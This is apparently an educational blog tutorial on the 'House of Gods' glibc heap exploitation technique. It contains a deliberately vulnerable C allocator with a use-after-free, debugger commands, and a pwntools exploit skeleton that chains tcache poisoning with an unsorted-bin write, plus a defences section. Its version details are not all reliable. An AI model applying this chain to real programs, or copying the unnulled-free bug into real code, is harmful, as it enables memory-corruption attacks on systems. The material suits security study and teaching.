Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.
Introduction
House of Gods is one of the more ambitious entries in the glibc heap playbook: rather than corrupt a single chunk to obtain one write, it aims to seize the allocator’s own bookkeeping — the main_arena — so that malloc itself becomes an arbitrary-address allocation primitive. The name captures the intent: once you control the arena, you sit above the allocator and hand malloc any address you like as the next chunk to carve. It was documented publicly around 2021 and is best understood as a *leakless* technique: every value it needs is expressed relative to main_arena and delivered through partial overwrites, so it can reach a controlled allocation without ever leaking a libc address first.
The technique belongs firmly to a specific era. It relies on the tcache forward-pointer format and on an unsorted-bin write behaving the way they did before glibc hardened them, so its clean form targets roughly glibc 2.27–2.31. On glibc 2.32 and later, safe-linking mangles tcache forward pointers and successive releases tightened the unsorted-bin and tcache consistency checks, which complicates or breaks the original recipe. We treat House of Gods as a case study in *arena relocation* — how an attacker turns a handful of poisoned frees into control over the structure that decides where every future allocation lands — and are candid throughout about which pieces are version-specific.
Attack Prerequisites
House of Gods is a chaining technique: it composes primitives you already have into control over the arena. To reach it you generally need:
- A tcache poisoning primitive — typically a use-after-free or double-free that lets you overwrite a freed chunk’s forward pointer, so a subsequent
mallocreturns a chunk at an address you chose. This is the workhorse that places writes where you need them. - An unsorted-bin write — the ability to get a chunk into the unsorted bin with a controllable
bk, so the classic unsorted-bin-attack side effect writes the address ofunsorted_chunks(av)(i.e. a pointer intomain_arena) into a location of your choosing. - A target glibc in the pre-safe-linking window (about 2.27–2.31) so the tcache forward pointer is a raw pointer, not a mangled one.
- Enough allocation control to request specific sizes and to reclaim poisoned chunks in the right order — a standard menu-style allocator (alloc / free / edit / view) is sufficient.
- No libc leak required — the method is designed to be leakless because it works in
main_arena-relative terms and via partial overwrites; a leak, if available, only makes it easier.
How It Works
The pivot of House of Gods is main_arena itself. main_arena is an ordinary writable object in libc’s data segment: it holds the fastbin array, the top pointer, the last_remainder, and the bins[] array of doubly-linked list heads for the small and large bins. Every allocation that is not served from tcache ultimately consults these fields, and the top chunk in particular is where _int_malloc carves fresh memory when no bin can satisfy a request. If an attacker can rewrite top — or rewrite the bin heads so that the allocator believes a free chunk of the right size lives at an address they chose — then the next malloc returns a pointer into attacker-controlled memory. That is the whole objective: relocate the arena’s notion of free space onto memory you own.
The leakless magic comes from two facts working together. First, the unsorted-bin attack writes a *known* value — the address of the unsorted bin head inside main_arena — into a target of your choice, because _int_malloc, when it takes a chunk off the unsorted bin, sets bck->fd = unsorted_chunks(av) where bck is the attacker-controlled bk. You do not need to *know* that address; you only need it deposited somewhere useful. Second, tcache poisoning lets you aim a real allocation at any address you can name. By combining the two you can plant a main_arena-relative pointer into a fake chunk and then get the allocator to treat that fake chunk as authoritative, so subsequent partial overwrites of a single low byte or two are enough to steer top (or a bin head) precisely where you want it — all without a full leak.
Once top (or the bin the next request will consult) points into memory you control, the arena has effectively been *relocated*: malloc is now carving from your buffer. That is the arbitrary-allocation primitive. From there the follow-through is the same as any other write-what-where on the target glibc: on versions before 2.34 you overwrite a hook such as __malloc_hook or __free_hook with a one-gadget or system; on newer glibc, where the hooks were removed, you pivot to an IO/FSOP target — a crafted _IO_2_1_stdout_ or the _IO_list_all chain — to convert the allocation into control flow. House of Gods gets you the allocation; the era decides the final target.
Vulnerable Code / Setup
Like most house techniques, House of Gods does not need an exotic bug — it needs a small, ordinary set of primitives that a typical CTF heap challenge hands you. The archetype is a menu allocator with a use-after-free: pointers are not cleared on free, so a freed chunk can still be edited and re-freed. That single flaw yields both the tcache poison and the unsorted-bin write the technique needs:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/* Classic menu heap: the free path never NULLs the slot -> UAF/double-free. */
void *slots[16];
void do_alloc(int i, size_t n) { slots[i] = malloc(n); }
void do_edit(int i, size_t n) { read(0, slots[i], n); } /* write after free */
void do_free(int i) { free(slots[i]); } /* BUG: no slots[i]=NULL */
void do_view(int i) { write(1, slots[i], 0x20); }
/* With this surface an attacker can:
- free a chunk, edit its fd -> tcache poisoning (arbitrary alloc target)
- free a large-ish chunk into the unsorted bin, edit its bk
-> unsorted-bin write of &main_arena.unsorted into a chosen slot
Chained, these overwrite fields of main_arena (top / bin heads) to relocate
the arena and carve the next malloc() from attacker memory. */
CBecause the technique is leakless, it is at its most dangerous on binaries that would otherwise deny you a libc address. Still, checksec decides which final target you can reach, and ldd fingerprints the libc so you know whether you are inside the pre-safe-linking window and whether hooks are still present:
$ checksec --file=./target
RELRO STACK CANARY NX PIE
Full RELRO Canary found NX enab. PIE enabled <-- leakless is the point
$ ldd ./target | grep libc
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (2.31) <-- pre-safe-linking
# 2.27-2.31: raw tcache fd + classic unsorted write -> House of Gods applies.
# 2.32+: safe-linking mangles tcache fd; 2.34+ removes malloc/free hooks.
BashWalkthrough / Exploitation
The discipline of House of Gods is bookkeeping: you are editing main_arena in place, so you confirm each write in a debugger before scripting the next. Work it under gdb with pwndbg, watching the bins and the top pointer move as you feed poisoned chunks back to the allocator:
gdb -q ./target
pwndbg> break do_free
pwndbg> run
pwndbg> # inspect the arena we intend to hijack
pwndbg> p main_arena
pwndbg> p &main_arena.top # the pointer we ultimately want to steer
pwndbg> tcachebins # confirm the poisoned fd lands where planned
pwndbg> bins # unsorted/small/large bin heads inside main_arena
pwndbg> # after the unsorted-bin write, verify &main_arena.unsorted landed in-slot
pwndbg> x/4gx <target_slot_addr>
BashThe scripted attack composes the primitives in order. The skeleton below keeps the arena work symbolic — offsets into main_arena and the exact fake-chunk sizes are version-specific, so resolve them from the actual libc with pwntools’ symbol table rather than hard-coding numbers:
from pwn import *
libc = ELF('./libc.so.6')
io = process('./target')
# --- menu wrappers ---
def alloc(i, n): ... # do_alloc(i, n)
def edit(i, data): ... # do_edit -> write into (possibly freed) chunk
def free(i): ... # do_free -> no NULL, enables UAF/double-free
# main_arena is reachable by symbol; every arena field is an offset from it.
main_arena = libc.sym['main_arena'] # resolve, don't guess
# 1) UNSORTED-BIN WRITE: free a non-tcache-size chunk into the unsorted bin,
# then edit its bk so _int_malloc writes &main_arena.unsorted into our slot.
alloc(0, 0x420); alloc(1, 0x20) # guard prevents top-consolidation
free(0) # chunk 0 -> unsorted bin
edit(0, p64(0) + p64(TARGET_BK)) # bck = TARGET_BK (arena-relative)
alloc(2, 0x420) # triggers the unsorted write
# 2) TCACHE POISONING: free two same-size chunks, edit the fd of the second
# to aim the next malloc at a field of main_arena (e.g. &main_arena.top).
alloc(3, 0x40); alloc(4, 0x40)
free(3); free(4)
edit(4, p64(main_arena + TOP_OFFSET)) # poisoned fd -> arena.top slot
alloc(5, 0x40) # pops chunk 4
alloc(6, 0x40) # returns a chunk over &top
# 3) RELOCATE THE ARENA: partial-overwrite top so it points into our buffer;
# the next request carves from attacker-controlled memory (arbitrary alloc).
edit(6, p64(FAKE_TOP)) # steer top -> our fake arena
alloc(7, 0x30) # malloc() returns FAKE_TOP+0x10
# 4) follow-through for the era: <2.34 hook, else IO/FSOP.
# e.g. place the allocation over __free_hook and write a one_gadget,
# or craft _IO_2_1_stdout_ / _IO_list_all for FSOP on newer glibc.
PythonTwo details make or break the run. First, ordering: the unsorted-bin write and the tcache poison touch overlapping structures, so you sequence them so one does not clobber the other’s setup — in practice the arena-relative pointer is planted first, then partial overwrites of a low byte or two nudge top to its final value. Second, alignment: top must remain 16-byte aligned and any fake chunk size you present must pass the ordinary _int_malloc sanity checks for that glibc, or the allocator aborts before it ever returns your pointer. When the poisoned malloc finally returns a pointer into your buffer, the arena has been relocated and every subsequent allocation is yours to place.
Note: House of Gods is genuinely version-brittle, and honesty about that matters. The exact offsets of
top,last_remainder, and the bin heads insidemain_arenadiffer between glibc builds, so resolve them from the target libc (pwndbg’sp &main_arena.top, or pwntools’ symbol table) rather than copying numbers from a write-up. The clean recipe assumes the pre-safe-linking tcache format: on glibc 2.32+ the forward pointer is mangled withprotect_ptr, so a raw poisonedfdno longer points where you wrote it and the tcache step must be rebuilt around the mangling.
Opsec: The single fastest way to confirm progress is to watch
main_arenain pwndbg after each stage:binsshows the unsorted write landing,tcachebinsshows the poisonedfd, andp main_arena.topshows the relocation. If a stage silently no-ops, you almost always tripped an_int_malloc/_int_freesanity check (bad size, misalignment, or a double-free the tcache key now catches) rather than mis-computed an offset — read the abort message before adjusting addresses.
Detection and Defense
House of Gods is a composite of well-known primitives, so the defenses that blunt its ingredients also blunt the whole technique — the arena never gets relocated if the poisoned frees are rejected first:
- Null pointers after
free— the enabling bug is almost always a use-after-free or double-free from a slot that is not cleared. Clearing it removes both the tcache poison and the unsorted-bin write in one stroke. - Keep modern glibc hardening intact — safe-linking (2.32+) mangles tcache forward pointers, the tcache key catches double-frees, and later unsorted/bin consistency checks reject the crafted
bk; running a current libc breaks the classic recipe outright. - Full RELRO + PIE + ASLR — while the technique is leakless, denying static targets and forcing correct arena-relative arithmetic raises the cost and narrows the window in which a partial overwrite lands where intended.
- AddressSanitizer / hardened allocators in CI — ASan flags the use-after-free deterministically, and out-of-line-metadata allocators (hardened_malloc, scudo) do not keep an in-band
main_arenaan attacker can reach through chunk corruption at all. - Heap telemetry — an allocator that suddenly returns pointers outside any known arena or heap region, or repeated frees of the same address, is a high-signal indicator worth catching in fuzzing and instrumentation.
Real-World Impact
House of Gods is, in practice, a CTF-and-research technique rather than a fixture of commodity exploits: it is a demonstration of just how far arena corruption can be pushed — from a couple of poisoned frees all the way to control over the allocator’s own state — and it is prized precisely because it is leakless on the glibc versions where it applies. Its lasting value is conceptual. The bug classes it is built on — use-after-free and double-free (CWE-416, CWE-415) — remain among the most common and highest-impact memory flaws in C codebases, and the general lesson that an allocator which keeps trusted metadata inline and reachable can have that metadata weaponised is exactly what motivated glibc’s safe-linking and tcache-key hardening. On modern libc the clean technique is largely closed, which is why practitioners study it as a milestone in the arms race rather than a first-choice primitive.
Conclusion
House of Gods raises the ambition of heap exploitation from *corrupt a chunk* to *corrupt the arena*: by chaining a tcache poison with an unsorted-bin write, it relocates main_arena‘s notion of free space onto attacker-controlled memory and turns malloc into a leakless arbitrary-allocation primitive, then escalates through whatever target the target glibc still exposes. Its power is real but its window is specific — the pre-safe-linking 2.27–2.31 range — and modern glibc hardening has largely retired the clean form. Studied honestly, it is the clearest illustration of why the allocator’s own bookkeeping must be treated as a security boundary: keep freed pointers cleared, keep the hardening on, and the arena stays out of the attacker’s hands.
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments